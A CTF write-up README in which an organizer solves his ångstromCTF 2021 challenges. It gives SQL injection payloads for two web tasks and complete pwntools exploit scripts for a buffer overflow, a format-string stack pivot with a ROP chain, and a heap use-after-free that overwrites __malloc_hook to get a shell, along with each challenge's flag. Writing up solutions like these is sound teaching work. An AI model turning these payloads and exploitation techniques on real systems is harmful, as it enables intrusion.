joshdabosh / **writeups**

Code Issues Pull requests Actions Projects Wiki Security ···

master writeups / **2021-AngstromCTF** / Go to file Add file ···

joshdabosh yep ··· yesterday **History**

..

README.md	yep	yesterday

README.md

ångstromCTF 2021

This past weekend I had the privilege of helping organize (ångstromCTF 2021](https://2021.angstromctf.com/)!

These are the solutions to my challenges.

Sea of Quills

From the `app.rb` , we can see that it filters our input in `cols` , `limit` , and `offset` . Because `cols` does not have a length check, we can simply bypass the blacklist.

We can find the name of the flag table by sending `cols` as `name from sqlite_master union select name ,` `flagtable` . Some further digging shows that there is a column named `flag` .

Our final payload is:

```
cols: "flag FROM flagtable UNION SELECT name"
limit: "1"
offset: "0"
```

Flag: `actf{and_i_was_doing_fine_but_as_you_came_in_i_watch_my_regex_rewrite_f53d98be5199ab7ff81668df}`

Note: this challenge was originally meant to be much harder, but I overlooked the cols injection 😅. This is why SoQ 2 was released in the second wave.

Sea of Quills 2

The new backend imposes a length check of <25 characters as well as blacklisting the string `flag` in cols. This was not enough to stop some people though, as you could bypass the new checks with some clever editing of the query for #1.

However, the intended solution was to use the fact that Ruby's regex matching only matches up to newlines. So, you could just have the rest of your payload in the `offset` field.

Payload:

```
cols: "* FROM(select name,desc"
limit: "1"
offset: "1\n) UNION SELECT flag, 1 FROM flagtable"
```

Flag:
`actf{the_time_we_have_spent_together_riding_through_this_english_denylist_c0776ee734497ca81cbd55ea}`

Tranquil

The code presents an obvious buffer overflow, as well as a win function. PIE is disabled and there is no stack canary, so we can overflow the saved $rip to the `win` function.

```
from pwn import *

e = ELF("./tranquil")

context.binary = e
context.terminal = ["konsole", "-e"]

p = process([e.path])
#p = remote("shell.actf.co", 21830)

#context.log_level="debug"
gdb.attach(p, """break * win""")


p.sendlineafter(":", "A"*72 + p64(e.sym["win"]))

p.interactive()
```

Flag:
`actf{time_has_gone_so_fast_watching_the_leaves_fall_from_our_instruction_pointer_864f647975d259d7a5bee6e1}`

Wallstreet

This is a variation of `Stonk Market` from picoCTF 2021, which I had a great deal of frustration about.

As we can OOB view, some were tempted to use that to leak a stack or libc address and use the format string to write to an address. However, because the user buffer is in .bss, we can't use our input to write anywhere.

The solution is in how the program loads data after the user selects an index to view. It saves the pointer to the stack. So, we can make that pointer point to the saved $rbp of main. Using our format string, we can thus write to the saved $rbp of `main` . This allows us to stack pivot after `main` returns.

We should pivot to an offset from `user_buf` in order to have a working ropchain.

After `buy_stonks` calls `leave` , $rsp=$rbp, $rbp is popped off the stack (we control the value), and $rip is popped.

After `main` calls `leave` , the same thing happens, and our ropchain has started.

Now it is a matter of getting a shell. First, we can leak the libc base address by calling `puts` on an entry in the GOT.

Next, we need a way to modify our ropchain. We can call `read` on an offset of our `user_buf` . In order to set up the registers (arguments) correctly, we need to control $rdx, as well as $rdi and $rsi. I did this by using gadgets in `__libc_csu_init` , the technique of which is called ret2csu.

After this, we can just pick and write our one_gadget. Note that using ret2csu gives you control over the registers that some one_gadgets require to be NULL, making it easy to get a one_gadget working.

```
from pwn import *

e = ELF("./wallstreet")
libc = ELF("./libc-2.32.so")
#ld = ELF("./ld-2.32.so")

context.binary = e
context.terminal = ["konsole", "-e"]

#p = process([e.path])
p = remote("pwn.2021.chall.actf.co", 21800)
#p = remote("localhost", 21800)
```

```
context.log_level="debug"
gdb.attach(p, """break * buy_stonks+195\nbreak * buy_stonks+382\nc""")




p.sendlineafter("!", "1")




p.sendlineafter("!", "68")


poprdi = 0x00000000004015c3
csu1 = 0x00000000004015a0
csu2 = 0x00000000004015ba
ret = 0x000000000040101a

chain = p64(poprdi) + p64(e.got["puts"]) + p64(e.plt["puts"]) + \
        p64(csu2) + p64(0) + p64(1) + p64(0) + p64(0x404210) + p64(0x100) + p64(0x4000f8) + \
        p64(csu1) + p64(0)*6 + p64(0) + p64(e.plt["read"]-4) + \
        p64(ret) * 16 + p64(ret)[:3]


p.sendafter("?", ("%{}c%73$lln" + chain).format(e.sym["user_buf"]+8))

for i in range(5):
    p.recvline()

libc.address = u64(p.recv(6).ljust(8, "\x00")) - 0x80d90

print("libc", hex(libc.address))


og = 0xdf54c
```

```
chain2 = p64(libc.address + og)


p.send(chain2)

p.interactive()
```

Flag:
`actf{i_thought_i_had_it_all_together_but_i_was_led_astray_the_day_you_stack_pivoted_5e1d1028cc862facee3d95ea}`

carpal tunnel syndrome

For reference, the inspiration.

A lot of this challenge was reversing the binary and figuring out a way to make it not try to dereference a null pointer :)

Provided libc shows it is 2.31, which has the tcache key but not pointer mangling.

The challenge stores a chunk pointer in a 2D linked list, with the root node at the top left.

For reference, here is the struct definition of a slot:

```
typedef struct Slot {
    char marked[8];
    struct Slot * right;
    struct Slot * bottom;
    char * text;
}
Slot;
```

The vulnerability is that after getting a bingo and deleting the row, it does not null the pointers to it.

We can bingo and delete row idx 4. The tcache for the Slot size has 5 chunks in it now. The name does not matter now.

Next, bingo and delete row idx 3. The tcache for the Slot size has been filled, and now there are chunks in the fastbins. When asked for our name size, we make it an adequately large number like 0x500 to consolidate the fastbins into the unsorted bin.

We reset row 4, then row 3. This ends up making a chunk at (2, 3) have a libc pointer as its marker.

We can use single bingo checking to determine the `marker` of (2, 3) by writing our guess and null terminating it. `strcmp` will tell us if our byte guess is right or not. However, the pointers at (0, 3) are corrupted because of our tcache shenanigans. So, we have to vertically check column 2.

Again, we can bingo and reset rows 2 and 1. It turns out that our tcache shenanigans also create a UAF. After some `search-pattern` ing, we see that the freed chunk can still be accessed at `root->right->bottom` , or (1, 1).

We set our marker to be the address of `__malloc_hook` and mark (1, 1).

Tcache: `HEAD -> [chunk at (1, 1) on the heap] -> [__malloc_hook]`

However, we don't delete (free) the chunks. We now make our name the size of Slot to pull one out from the tcache. We repeat the process to get a chunk at `__malloc_hook` , which we can then write to using our marker.

I chose to use a one_gadget. After inspecting the registers, I decided to use the `0xe6c81` gadget.

The byte-by-byte leak takes quite a while on remote, especially if you have high ping to AWS US EAST. There is no timeout though, so you can just let it run.

```
from pwn import *

e = ELF("./carpal_tunnel_syndrome")
libc = ELF("./libc-2.31.so")
```

```
#ld = ELF("./ld-2.31.so")

context.binary = e
context.terminal = ["konsole", "-e"]

p = process([e.path])
p = remote("pwn.2021.chall.actf.co", 21840)




def mark(x, y):
    p.sendlineafter(": ", "1")
    p.sendlineafter(": ", "{} {}".format(x, y))

def view(x, y):
    p.sendlineafter(": ", "2")
    p.sendlineafter(": ", "{} {}".format(x, y))


def reset(i, c):
    p.sendlineafter(": ", "3")
    p.sendlineafter(": ", str(i))
    p.sendlineafter(": ", ["r", "c"][c])


def check_specific(i, c):
    p.sendlineafter(": ", "4")
    p.sendlineafter(": ", str(i))
    p.sendlineafter(": ", ["r", "c"][c])

def check(c, l, n):
    p.sendlineafter(": ", "5")
    p.sendlineafter("? ", ["n", "y"][c])
    p.sendlineafter(": ", str(l))
    p.sendlineafter(": ", n)
```

```
def change(m):
    p.sendlineafter(": ", "6")
    p.sendafter(": ", str(m))



context.log_level="debug"




p.sendlineafter(": ", "AAAA")


for i in range(5):
    mark(i, 4)


check(1, 0x500, "BBBB")



for i in range(5):
    mark(i, 3)

check(1, 0x500, "BBBB")


reset(4, 0)

reset(3, 0)

s = "\x60"
```

```
for i in range(5):
    for j in range(1, 0x100):
        change(s+chr(j)+"\x00")

        mark(2, 0)
        mark(2, 1)

        mark(2, 2)
        mark(2, 4)


        check_specific(2, 1)



        if "bingo" in p.recvline():
            s += chr(j)
            print("-"*50, s)
            break


libc.address = u64(s.ljust(8, "\x00")) - 0x1ebc60

print("libc", hex(libc.address))




change("AAAAAAAA")


for i in range(5):
    mark(i, 2)


check(1, 0x500, "BBBB")
```

```
for i in range(5):
    mark(i, 1)

check(1, 0x500, "BBBB")



reset(2, 0)


change(p64(libc.sym["__malloc_hook"]))


mark(1, 2)


change("AAAA")

for i in range(5):
    mark(i, 0)



og = 0xe6c81


addr = libc.address + og

gdb.attach(p, """break * {}\nc""".format(hex(addr)))
```

```
check(0, 0x20, "BBBB")
check(0, 0x20, p64(addr))


reset(0, 0)




p.interactive()
```

Flag:

`actf{whenever_dark_has_fallen_you_know_the_spirit_of_the_party_starts_to_come_alive_until_the_linkedlist_is_corrupted_86cd89dc33b2bbc691af4857}`